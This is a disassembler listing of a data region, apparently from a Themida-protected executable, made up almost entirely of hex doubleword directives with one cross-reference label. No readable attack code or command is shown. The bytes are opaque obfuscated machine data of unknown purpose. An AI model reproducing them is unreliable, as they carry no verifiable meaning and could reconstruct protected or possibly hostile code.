		dd 5BE270ADh, 6AADFCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BCB760C3h, 6B4BC4ABh, 247C81F8h
		dd 24h,	0C6870F10h, 0E9000000h,	9, 0FE7CE4EAh, 43BA0BFCh
		dd 50609042h, 0D08B6652h, 0EE9310Fh, 0C3000000h, 54AC3008h
		dd 6DFC88B6h, 0F81CDB0h, 66585A27h, 613D25BBh, 0A870F50h
		dd 0E9000000h, 5, 0DC86DEDAh, 6A90FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8CD0C3h, 49E0A71Eh
		dd 448BE34Eh, 50F92824h, 6E860h, 0A0650000h, 2D71E0FFh
		dd 50585E56h, 830F52h, 0F000000h, 0C38B6631h, 8961585Ah
		dd 870F2404h, 1, 0AB858DFCh, 6A061752h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 892DC356h
		dd 14253185h, 89D0FF06h, 142E2195h, 24440306h, 0F90F524h
		dd 128Fh, 0F525000h, 8Eh, 50310F00h, 5A310F52h,	50585A58h
		dd 3920B960h, 90614DB5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0EBC35242h, 0A99501ABh, 0F906141Ch, 381BD8Dh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 1CAEBFC3h, 615B5360h, 9E9ADh, 0C00000h, 8FFA97C2h
		dd 8191D5B7h, 28247Ch, 0F100000h, 0DB87h, 8E900h, 974A0000h
		dd 3704BAB2h, 0F506BE3h, 1286h,	0F525000h, 86h,	0F310F00h
		dd 86h,	89585A00h, 89602404h, 141C618Dh, 0F9BE6606h, 448B61BCh
		dd 9D892C24h, 6140F05h,	19958B60h, 0F06142Ch, 681h, 8D0F00h
		dd 61000000h, 8F0F6090h, 2, 0C68B6160h,	0AE95061h, 0B2000000h
		dd 0AB8A7EC0h, 493D509Ah, 666090C1h, 8166CA8Bh,	619F38DAh
		dd 52AB858Dh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 1FB685C3h, 838CA18Ch, 6860FC4h
		dd 9000000h, 1426619Dh,	6AD0FF06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C59FC351h
		dd 5E9F893h, 0CB000000h, 4FE862B4h, 28244403h, 1CDB589h
		dd 0BD310614h, 61421B1h, 0BE9ABh, 21F60000h, 46834684h
		dd 3E21F040h, 8890F01h,	0F000000h, 288h, 5E616000h, 80C88DFFh
		dd 0BD830617h, 61780C8h, 330A7500h, 11B58DC0h, 0FF061790h
		dd 81AD56E6h, 28247Ch, 77100000h, 448B500Eh, 8D502C24h
		dd 1752AB85h
		dd 3D0FF06h, 97282444h,	858ADF8Bh, 61780C4h, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 2F585FFh, 5DE90614h, 5EFFFFFFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h, 9BF8AF61h
		dd 0F4402ABEh, 658D3178h, 6A061415h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 84B2C356h
		dd 16DC8F19h, 0FBA950A6h, 10E9h, 0BDC5200h, 0DB9D57DAh
		dd 94751F35h, 343E0AB0h, 0F5858B84h, 0E9061402h, 14h, 8C8EC367h
		dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh,	6AE0D1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 6660D6C3h, 2D2D781h,	1AADB58Bh, 60610614h, 0BFC3B70Fh
		dd 5C07781Eh, 81850361h, 0F061403h, 18Fh, 0F62BF800h, 1BA98509h
		dd 6A960614h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C980C356h, 0E25B53FFh, 1883A64h
		dd 1429A9B5h, 6AAD6606h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 4B7C351h, 68C0FD2h
		dd 1000000h, 1409E19Dh,	7D9D0106h, 0C1061406h, 6A02E0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 251C06C3h, 8A0F3C74h, 10h, 6E960h, 0C1150000h, 888CD8AFh
		dd 61C9DC80h, 8258589h,	0AE90614h, 24000000h, 3BC5B77Fh
		dd 598A5450h, 0F18503BEh, 6A061418h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89B7C356h
		dd 141D058Dh, 6A9606h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0FC60A2C3h, 61C8EF80h, 0F6060ADh
		dd 8Dh,	5E900h,	4F8B0000h, 6183A299h, 228DB523h, 0F9610614h
		dd 24247C81h, 10000000h, 131870Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 1CF9EAC3h
		dd 0EE986h, 48E60000h, 23118594h, 0F476A196h, 7AD9A86h
		dd 6E86050h, 83000000h,	6A9457BBh, 0F525095h, 5A585A31h
		dd 8CB35250h, 0F78B310Fh, 8961585Ah, 85892404h,	614067Dh
		dd 24448BF8h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0DA0BDC52h, 35DB9D57h, 850F751Fh
		dd 6, 2AA58501h, 8E90614h, 43000000h, 0BBE1DA65h, 50F02C2Dh
		dd 0EE95250h, 6E000000h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh
		dd 60310F97h, 5A6154B2h, 24048958h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 89C35343h, 14E9DD67h, 0E8000000h
		dd 0DA6D8E72h, 0EBEDEE59h, 638B77Ch, 2D7BB8D0h,	0F95AAECh
		dd 683h, 65BD8900h, 0F5061406h,	52AB858Dh, 6A0617h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A6531CC3h, 6660D40Bh, 61F9D78Bh, 3F9D0FFh, 0E9242444h
		dd 8, 0DC440032h, 0D221BCB5h, 1C244489h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 0DEC35343h, 7A5DAC87h
		dd 0B840F4Eh, 60000000h, 81C2BF0Fh, 0FEB20AE7h,	85C6611Eh
		dd 6141A59h, 9F85C700h,	61782h,	0C7000000h, 1780CC85h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0E9F5E8D1h, 9, 0A457CBF1h, 0D50E4830h
		dd 0FE96192h, 51000000h, 5A68553h, 0D6691C6Ah, 0FA881487h
		dd 8C23CBAh, 0B60F900h,	1417258Dh, 0A5B58B06h, 61061404h
		dd 18F1858Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0C46E3CC3h, 13B0F3ECh, 68C0F5Dh
		dd 89000000h, 142A6195h, 8D29F806h, 61403D1h, 0D26BF84Ah
		dd 0C203F504h, 6A96F9h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 2430F0C3h, 29B529F8h, 0AD061409h
		dd 0DE960h, 750E0000h, 561B6EBDh, 1CEF3682h, 66F0DEBCh
		dd 993BD681h, 247C8161h, 24h, 0CB870F10h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FCCEC350h, 118A0F50h, 0E9000000h, 0Ch, 0B25E8C46h
		dd 7D447F7Bh, 0B4887ECEh, 89240489h, 1405F98Dh,	24448B06h
		dd 4D858928h, 0F06141Ch, 68Fh, 0E9B58900h, 50061421h, 13810Fh
		dd 0EE90000h, 8E000000h, 1E7A8D5Ah, 0E14228F9h,	4705D553h
		dd 24048974h, 1800Fh, 8DFC0000h, 1752AB85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 779422F9h, 0F3CD558h, 18Dh, 0D0FFF900h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8FC35141h, 92EAF28Fh
		dd 0E8E9209Ch, 6AFFFFFDh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0CB94C353h,	4F9C4F68h
		dd 0E971B9A0h, 6, 353DE431h, 858D3E41h,	6179623h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F9C35040h, 840FC992h
		dd 1Dh,	800F60h, 0E9000000h, 10h, 28807D4Eh, 3A52E133h
		dd 0D7DE8DF6h, 3D6B4A8Fh, 810F5061h, 13h, 7E960h, 4A0000h
		dd 6A8BDD6Ch, 0CBA2B962h, 89617287h, 8C0F2404h,	6, 1A759D89h
		dd 0FF640614h, 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0F8B9A9AEh, 249F0775h
		dd 48BFC89h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 85898D20h, 6141CB1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D8C35545h, 1810F5Ch
		dd 0F5000000h, 258964h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0AC38C350h
		dd 8A0F0B1Ch, 0Ah, 5E9h, 0F4C6EE00h, 8DFC64D6h,	1793AF85h
		dd 0B5296006h, 6142089h, 608961F9h, 0F8D0F01h, 0E9000000h
		dd 0Ah,	7A30867Ah, 0F12FA7A3h, 0C0E9210Ch, 60000002h, 89F78B66h
		dd 1421BDBDh, 85896106h, 6140F19h, 0E8DB8Bh, 5D000000h
		dd 93A8ED81h, 9CBC0617h, 830012FFh, 1403D9BDh, 18740006h
		dd 2D01858Bh, 0C60614h,	0F1858B00h, 0C6061434h,	95FF0000h
		dd 6142EF9h, 0D0B5FF60h, 8D06177Ch, 177CD485h, 858D5006h
		dd 6177ECCh, 995FF50h, 83061415h, 0E9610CC4h, 0Fh, 7F1C609Dh
		dd 0C9F0B87Fh, 0BF15DF0Fh, 29C28017h, 140D2D85h, 8800F06h
		dd 60000000h, 24259D89h, 8D610614h, 177ECCB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E9A37859h, 12h, 5DBC7121h, 3ABBC88Ah, 0F6BC74A5h, 10CCC7AFh
		dd 0BD8DF974h, 6141DB5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0F6C35646h, 77442952h, 56BCD408h, 9E9ADh
		dd 342E0000h, 0BCD0CA34h, 80733332h, 840F003Eh,	23h, 6850Fh
		dd 95890000h, 61400E5h,	0DBD31A4h, 0E906142Eh, 0FFFFFFDFh
		dd 1D852B60h, 66061420h, 0B861C68Bh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3EC35242h
		dd 0B711B155h, 362BBC37h, 898D09E6h, 0AA06140Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 66C35343h, 0F9955E39h
		dd 827BB7B5h, 0C8D0Fh, 800F0000h, 6, 309DBD89h,	7B80614h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 1632C357h, 9B5602ACh, 2313AE6Ch
		dd 0FE9h, 16970E00h, 7481103Fh,	8FB9E6F8h, 0A387FB7Ch
		dd 14E9h, 0A24D1A00h, 685F3AFh,	0FFBC4DBh, 0A11C2271h
		dd 9818057Ch, 8185C767h, 1061431h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 45B6C357h, 0B529EAC2h, 6140569h, 4D798D8Dh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 60EEE6C3h, 820Fh, 0FF610000h, 52006AE1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0AD6E2CDh
		dd 11E9h, 0CF3EA700h, 0E8C2E340h, 19EFF9AFh, 5F2C6250h
		dd 13E973DAh, 55000000h, 0E0B65CE1h, 27E4738Eh,	7B549E9h
		dd 782D4F5Fh
		db 0D7h, 0F9h
word_582202	dw 5C8Bh		; DATA XREF: Themida_:00549104o
					; Themida_:00549580o ...
		dd 0E8550C24h, 0
		dd 2DED815Dh, 8B061796h, 0B883h, 0D0858900h, 8D06177Ch
		dd 1793A185h, 0B8838906h, 5D000000h, 1C3C033h, 142B91BDh
		dd 1DBD8906h, 0E9061414h, 10h, 79B2C4A4h, 926B91DBh, 83085C53h
		dd 24D08260h, 9358D01h,	0F600614h, 68Fh, 0D950900h, 8D061421h
		dd 1797F685h, 0ED8D3106h, 50061416h, 13870Fh, 0EE90000h
		dd 14000000h, 347A839Ah, 58804D60h, 2D76F864h, 240489B9h
		dd 68F0Fh, 85090000h, 61418CDh,	35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0B44CC357h, 0BF8B30FDh, 159D89F5h, 64061421h, 2589h
		dd 0BD890000h, 6140B69h, 98AF858Dh, 8D890617h, 6141D15h
		dd 6A016089h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 5D10C353h, 0BD894EF6h,	6140985h
		dd 0EE9h, 4B532F00h, 112D9EE8h,	3F0A331Bh, 0C6408164h
		dd 141A5985h, 85894F06h, 61421BDh, 0E8A0Fh, 8B600000h
		dd 1418AD85h, 0CD858906h, 61061420h, 7B2BA168h,	78E0FAEh
		dd 60000000h, 8B666160h, 48161C7h, 4D488924h, 55006A50h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 8FA362D1h, 42D75BC6h, 80604886h, 81661AD3h, 616259EAh
		dd 1AD1B5FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 89D8D3C3h, 1423D985h, 0DB858D06h
		dd 60061780h, 0D01B58Bh, 958B0614h, 6140249h, 89D0FF61h
		dd 140D0D85h, 0C0E906h,	89F90000h, 1411058Dh, 245C8B06h
		dd 0E8550Ch, 5D000000h,	9800ED81h, 858B0617h, 6141145h
		dd 1AD18589h, 858B0614h, 6140931h, 22558589h, 858B0614h
		dd 6143481h, 7858589h, 85C60614h, 6141A59h, 9F85C700h
		dd 61782h, 8D000000h, 1798AF85h, 0B8838906h, 5D000000h
		dd 6AC3C033h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0F01C356h, 18Ch, 6AF900h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 608BF5C3h, 198E0Fh, 13E80000h, 2B000000h, 43015B88h
		dd 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 8A59AF6Bh, 74BC61FAh
		dd 890012FFh, 141585BDh, 58F6406h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 30C35040h
		dd 6D24036Bh, 0FB58A08h, 880h, 2890F00h, 60000000h, 8D8B6061h
		dd 61413E9h, 4C48361h, 0FE9h, 0D1349100h, 81E7A637h, 7BAD8661h
		dd 0DB78A1C0h, 0EEE961h, 8BFB0000h, 5C9736E1h, 88838A05h
		dd 0A1D76A1h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h
		dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
		dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh,	0DF6D171Eh
		dd 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h
		dd 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h,	0E0202060h
		dd 752060E0h, 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h
		dd 0C950F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h
		dd 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h, 0D773351Ah
		dd 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh,	0D57F2D77h
		dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
		dd 6D373353h, 1E357D2Fh, 7000E0Ah, 0A3D25D34h, 1E59A0h
		dd 2 dup(0)
		dd 0CFDE9h, 9C8C6800h, 0CE90617h, 68FFFCE4h, 6179D92h
		dd 0FCE402E9h, 9E5268FFh, 0F8E90617h, 68FFFCE3h, 6179F1Bh
		dd 0FCE3EEE9h, 9FDD68FFh, 0E4E90617h, 68FFFCE3h, 617A08Eh
		dd 0FCE3DAE9h, 0A1EC68FFh, 0D0E90617h, 68FFFCE3h, 617A2E9h
		dd 0FCE3C6E9h, 0A3D468FFh, 0BCE90617h, 68FFFCE3h, 617A4A4h
		dd 0FCE3B2E9h, 0A56568FFh, 0A8E90617h, 8AFFFCE3h, 3E1B6D52h
		dd 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh, 0A11CBBF5h
		dd 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h, 580981F6h
		dd 12A80F0Ah, 3E4BF7C4h, 47A2693h, 8C4AE2A0h, 9301DD2Fh
		dd 0BA9DA3EBh, 0C857E500h, 1FECF4A0h, 0B8945B7h, 2AB38A68h
		dd 5F8EE692h, 0E7398254h, 2693420Fh, 0E8F3227Ah, 31171DEEh
		dd 45580658h, 0A5516A68h, 711DB54Dh, 658482Bh, 44066A58h
		dd 0CCEDE8B5h, 0C244929Dh, 0A2FAA613h, 13E0B80Ah, 299642C2h
		dd 7F576291h, 5383903Ch, 0EF9B1EB3h, 0E153FF97h, 0AF27DD7Dh
		dd 0E97CBA0Ch, 15F8D981h, 595h,	8B4A172Ch, 0FB2A822Eh
		dd 2916E6F0h, 0EE1F0AD1h, 6A7723BBh, 3A074F6Ch,	1E762297h
		dd 9503DFEFh, 89BA1E9h,	7657E546h, 9E2F064Eh, 0B9784759h
		dd 0F93FA9D8h, 58067F17h, 597F4C22h, 0A5E53766h, 0D957372Eh
		dd 42C7F8h, 13DE0000h, 0E9B1F9A5h, 854CBA1Ch, 296D9C34h
		dd 57E50366h, 0CFEEE5B2h, 963F1CA0h, 0EFD5DB23h, 3580602h
		dd 519743DBh, 5806036Fh, 0A13A587Ah, 0F8D9D6C4h, 0E6CCD29Ah
		dd 0FA58060Eh, 213DA3D2h, 54000001h, 63494F17h,	0E651F1E8h
		dd 8B17183Ah, 3B6329FDh, 0E6D5010Ch, 13AA2D3Ah,	2DD7FECBh
		dd 0D27E16A5h, 0D4E14B7Ah, 0A971B902h, 0F259BDA3h, 7AA9D151h
		dd 38D30310h, 0F25A4C32h, 0EB386051h, 0D028D4E7h, 0A819F038h
		dd 0E78C89B3h, 0F8DEE42Ch, 0C51F2E0h, 8FA5B5E4h, 51F2E4BCh
		dd 0C008B323h, 2BD7E2F3h, 0B794A4D3h, 0E4F09C1Fh, 21890B76h
		dd 0EAA64A68h, 9B330A52h, 0C9D44ABBh, 393F4574h, 57E527FEh
		dd 563284ACh, 6979E8h, 0AE601688h, 9CC8CE16h, 0AA5DFBBDh
		dd 17C3FADDh, 596672BFh, 0CC9A62Ah, 9E11F7FDh, 0FD255E1Dh
		dd 0B885CD65h, 8E569E1Fh, 1D9DA288h, 482E345Eh,	5C5E1D9Eh
		dd 17466E34h, 51AD2A07h, 0E9631486h, 1DF7720h, 38908E19h
		dd 0CF182610h, 9E000009h, 522F813Eh, 0DEA3C81h,	0C7A4F6C5h
		dd 7C59AB0Eh, 0D710625Bh, 0B508CFE1h, 6E4B8663h, 26993F1Ch
		dd 0DCDFF7D4h, 0F0F67E8Ah, 5809840Ah, 12BC231Eh, 0CEA6F8C5h
		dd 3FEBD201h, 29ADB8E7h, 91684092h, 9E82E4A7h, 14FB2AB5h
		dd 63494F17h, 7751F1E8h, 0A816204Fh, 1BE8B0F8h,	0FB53FFBAh
		dd 2C588CCh, 6B9357E5h,	19779BFh, 0BC1C5806h, 8D4A5703h
		dd 5C778430h, 682ACC61h, 0E2A0C289h, 6754824Fh,	0C83463BBh
		dd 0F8D9D79Dh, 0B161h, 4A177800h, 0F9043388h, 0CE96DEDDh
		dd 3FEBD201h, 0E87B61E7h, 3BFE51F1h, 0B90C803h,	13426A30h
		dd 823B9CA9h, 0D0BD90D6h, 0B22451F2h, 0FCDAB709h, 990713BFh
		dd 13D6ADF5h, 518D013h,	4D535988h, 57E5E412h, 835098C0h
		dd 64BC6853h, 0DB492535h, 8014EB33h, 11B1614Dh,	0ECD1024Fh
		dd 96B1B7BDh, 45DFB89h,	10C794DCh, 597E5BADh, 0A9E8664h
		dd 0B59F3891h, 8C9A7h, 8738A400h, 427B5835h, 0FCBF13F0h
		dd 0B108CDAAh, 6855825Fh, 0D5DBDD16h, 8C69BB02h, 45227445h
		dd 0FDDA2C93h, 8490E2D9h, 8510F6FCh, 29245809h,	0F8C512C2h
		dd 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 53B3D123h, 509848B6h
		dd 0E501FF4Ah, 597E4B57h, 89B13564h, 967894E8h,	0F462B4CDh
		dd 4BFE044Ch, 775CC192h, 696189A0h, 0E2A77D63h,	1269915Ch
		dd 2C795669h, 0D6511AAh, 86325ADEh, 0D927B17Eh,	54DB671Eh
		dd 903CD4DBh, 0B478E138h, 9A8AF49h, 0FF62D0DAh,	0E64649BFh
		dd 5AA23A13h, 0D7558754h, 0E9315962h, 874CBA1Ch, 79FF7877h
		dd 0DA54D0Bh, 90462375h, 0EAE14D2Bh, 867033B3h,	80978h
		dd 47786400h, 2BB18F5h,	0BCFFD3B0h, 71488D6Ah, 2895421Fh
		dd 951B9DD6h, 4C297B42h, 5E23485h, 0BD9AECD3h, 4450A219h
		dd 85D0B6BCh, 0E9E45809h, 0F7C41282h, 5D76434Bh, 0E7C4AAB0h
		dd 0B0D851F1h, 71DFE918h, 0F0BD85CDh, 66AAD9E2h, 57E50A77h
		dd 573D430Bh, 6B58060Ah, 0B3901443h, 0BA029A25h, 0DE1F0FE3h
		dd 9DF4736Ch, 2C0AE937h, 4D5D8CB7h, 135B0371h, 802C9146h
		dd 0C3F6DB28h, 8A90BF17h, 0FDABAE84h, 0C4CAA25Dh, 5E1DABDEh
		dd 0EA32CAF2h, 0B002B91Dh, 0CB803D3h, 0A6EE9200h, 154493A0h
		dd 75BDE564h, 0C7F8E0ADh, 8994C31Bh, 3F1C6E4Dh,	6C782497h
		dd 40A52FEh, 6A286DA5h,	0A395739Bh, 0C22C6525h,	740CAD8h
		dd 0AF2D0000h, 0F2E1BE10h, 369C79CBh, 7F563385h, 0CC0BE83Ah
		dd 52669FF1h, 0F244795Eh, 0ABFDBC15h, 63B50ACEh, 196B5086h
		dd 997F850Dh, 0AD580986h, 4F174BB2h, 0F1E86349h, 204F7751h
		dd 0AD39A816h, 3FB4C71h, 757BC35Bh, 57EA6070h, 8B18DBC2h
		dd 3911BFD9h, 0B705EBF1h, 0F119580Ah, 0B13A1159h, 7EA332E7h
		dd 9286F140h, 47DFB4C3h, 37E3D8FAh, 0E2AAB0DFh,	0AF5D4E0Bh
		dd 215017D0h, 0A9FBC016h, 5B10ACCh, 9BE38BF9h, 22EE41C4h
		dd 76C38A27h, 292F5E5Bh, 0AD939961h, 3F580A50h,	0A515339h
		dd 793F6758h, 1D030951h, 31580A51h, 0A796DA09h,	0BD5DFD72h
		dd 2FC7F8E0h, 9001F151h, 909E8838h, 67Eh, 80D2EDEFh, 3B8D30A3h
		dd 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h, 0FAD7B406h
		dd 48906DBFh, 8E482577h, 47CFDB2Dh, 9875B41h, 0D746F58h
		dd 8F44A513h, 484E962Eh, 57E98272h, 2EF63E66h, 1C4B7261h
		dd 0A4F6C511h, 0AC0FC7h, 92DA86F4h, 0C38622BBh,	0ADDC474Ch
		dd 0BF12DFA7h, 0A9F64EFAh, 8DE59128h, 0A40D1A5Eh, 375F5E00h
		dd 7B422EFh, 0F15DDB5h,	5E20A429h, 0DBE6153Dh, 814C0FBh
		dd 2897419Ah, 0B3804890h, 0BDAFDC1Eh, 0D9F2C990h, 4A889541h
		dd 0D56DC571h, 0C5714A88h, 9BFA3E6Dh, 91641322h, 71C18B69h
		dd 0E2CC327Ah, 5CDD4h, 833CA000h, 3E7F5431h, 0F8C30FECh
		dd 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h, 411E7049h
		dd 0F9D62897h, 808CDEDDh, 880CF2F8h, 25205809h,	1D4017BEh
		dd 137EE6EBh, 0FED8E312h, 0D20411BDh, 4DBB97E9h, 598259A1h
		dd 9821B4C0h, 3A3D94ECh, 515786EEh, 0E546B84Bh,	52FE2657h
		dd 6262A0Ch, 77133558h,	0D9B0095Ch, 3BF5F8h, 130C0000h
		dd 0ABB1F9A5h, 57E502E8h, 9CE28EB6h, 580602BAh,	0EF18EFC5h
		dd 6D1448A2h, 46DEE1F7h, 7485C517h, 0D7DD30A7h,	5806DBF1h
		dd 9945DD05h, 0BFA61241h, 3FF8D8FDh, 112h, 8E4A1756h, 0E7957B81h
		dd 81A951F1h, 2F353DE9h, 51F1E849h, 6E9D355Dh, 9C487363h
		dd 0C975488Fh, 0EAEC1ABCh, 0E8351B21h, 214951F1h, 0ED85DD89h
		dd 64A23441h, 7B3E9371h, 33DF77CFh, 0DBF143DBh,	51F1EC08h
		dd 0C54676Fh, 0F423963Fh, 0ECCF07E4h, 0C0FBD7A4h, 0ECCF0714h
		dd 2150E840h, 913DABB7h, 3DA04349h, 0D5AC57E5h,	2DA8EDC3h
		dd 3188E08Ch, 0BAE936BFh, 72585E36h, 865805F9h,	9874C65Eh
		dd 0B504D12Ah, 0E6D7FC09h, 0B24AE23Ah, 0D1E1646Ah, 72F5DFAh
		dd 0D8E5F2BFh, 0D6FBC890h, 59DF37E3h, 5E1CB173h, 20305F87h
		dd 4B299443h, 3891C40Bh, 6F9EAC96h, 0FE000004h,	0B28FE1DEh
		dd 6D4A9C21h, 27045665h, 0DCB90BAEh, 3770C2FBh,	15A82F81h
dword_582DE4	dd 0CEEBE6C3h, 86399F7Ch, 3C7F5734h, 5056DEEAh,	5809896Ah
		dd 121C837Eh, 0E8B0F8C5h, 0CE7C1311h, 36BC6324h, 51F22A50h
		dd 6E518764h, 0A3D26AC2h, 9B20B693h, 0F79A7149h, 0D34E3419h
		dd 760EAD29h, 0A5136047h, 1D4A5C3Ah, 64FCE2E4h,	453161Ch
		dd 0F92157E5h, 425074Dh, 0E305806h, 0D60E574Ch,	0C8F0F8D9h
		dd 7000000h, 4BF7C412h,	7824993Eh, 0F1EC5F32h, 0AB10C651h
		dd 615A7C59h, 0F1E0ADB5h, 0F2E41709h, 19B1D4F1h, 0DCE6156Dh
		dd 0AD7AC26Eh, 5D639229h, 0E543B457h, 805B4257h, 93A061A9h
		dd 7A56A840h, 161C640Ch, 5DFB07F2h, 8D2CA582h, 0A9F189E1h
		dd 0FCBD14E1h, 0E915C2CDh, 0FBD65CFBh, 97DF77BAh, 0AD22D4C0h
		dd 0C2F115AFh, 602D5B2h, 359DEACFh, 0EA82DA86h,	90C2540Ch
		dd 69776138h, 372h, 8CDEE1FBh, 479924AFh, 153686Ah, 0B608B124h
		dd 6DBFFED9h, 0AB2C8434h, 0EEE3C012h, 3C9C79CBh, 82543183h
		dd 53DBE739h, 98A674Dh,	19807B58h, 2E8B4A17h, 25E3F4FFh
		dd 75F0BB2h, 0E7D3B9BFh, 0BFE751F1h, 0DEF8D527h, 12D28BDDh
		dd 3E4BF7C4h, 0B3D12398h, 9A46B451h, 0AA508552h, 0C85A49F9h
		dd 24D0680Bh, 0C230161Ch, 1C4451F2h, 494F5584h,	57E5DBFEh
		dd 0AF03A4CCh, 0FBD97415h, 99E18DFBh, 0B1F606CCh, 0DAF83262h
		dd 5B619028h, 0DFC5CB93h, 0F3FC3C6Ch, 6D2F151Bh, 1B43FC3Ch
		dd 0D9105483h, 0D022F8Eh, 9B53C636h, 552F13CEh,	1874CBDFh
		dd 0D5598837h, 87F501ADh, 14C28FD7h, 8407A3E8h,	740C77BCh
		dd 6410AB27h, 0D1D7DD0Ch, 8449C04h, 9966AED6h, 69367E3Dh
		dd 13235269h, 3D1BA036h, 8E46D92Dh, 87A4B29Ch, 0E6000002h
		dd 9A77C9F6h, 55328439h, 0FEC3E7Dh, 0C4A1F3C6h,	1F58AA13h
		dd 0FDC01799h, 0B603CEABh, 6E518764h, 24973F1Ch, 383EC6D2h
		dd 58098B52h, 12046B66h, 0FDA638C4h, 5243F23Fh,	94020EBAh
		dd 0FB9EA4ECh, 8957E60Ah, 95F10F61h, 61177AE8h,	0DD3DC0AAh
		dd 0DDA5ED85h, 4CF8C110h, 3681C5F4h, 45DF9B5h, 0CC794DCh
